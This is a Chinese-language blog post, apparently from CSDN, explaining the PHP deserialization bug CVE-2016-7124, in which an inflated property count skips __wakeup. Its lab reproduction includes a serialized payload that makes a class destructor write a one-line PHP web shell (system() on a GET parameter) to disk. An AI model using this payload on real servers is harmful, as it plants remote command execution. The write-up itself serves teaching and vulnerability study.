PHP反序列化漏洞CVE-2016-7124

影响范围

PHP5 < 5.6.25
PHP7 < 7.0.10

漏洞原理

当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行。

概念

序列化 (Serialization)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。

PHP中的序列化和反序列化函数:
serialize:将PHP对象序列化为字符串。
unserialize:对已序列化的变量进行操作,将其转换回 PHP 的值。

__sleep(),执行serialize()时,先会调用这个函数。
__wakeup(),执行unserialize()时,先会调用这个函数。

复现

以下代码是我在win10虚拟机中使用phpstudy集成的php5.2.17nts在cli下测试结果:

<?php

class ClassName
{
    var $a = "test";

    function __destruct()
    {
        $fp = fopen("C:\phpstudy_pro\Extensions\php\php5.2.17nts\hello.php", "w");
        fputs($fp, $this->a);
        fclose($fp);
    }

    function __wakeup()
    {
        foreach (get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up...\n";
    }
}
// echo serialize(new ClassName);die; // O:9:"ClassName":1:{s:1:"a";s:4:"test";}

// 改变对象对应数量,绕过__wakeup函数执行。
$obj = unserialize('O:9:"ClassName":2:{s:1:"a";s:29:"<?php @system($_GET["s"]); ?>";}');

以上代码执行后绕过了__wakeup函数。

参考

https://mochazz.github.io/2018/12/30/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96bug/
https://xz.aliyun.com/t/378
https://www.leavesongs.com/PENETRATION/wecenter-unserialize-arbitrary-sql-execute.html

发布了116 篇原创文章 · 获赞 12 · 访问量 99万+

猜你喜欢

转载自blog.csdn.net/u012628581/article/details/100521725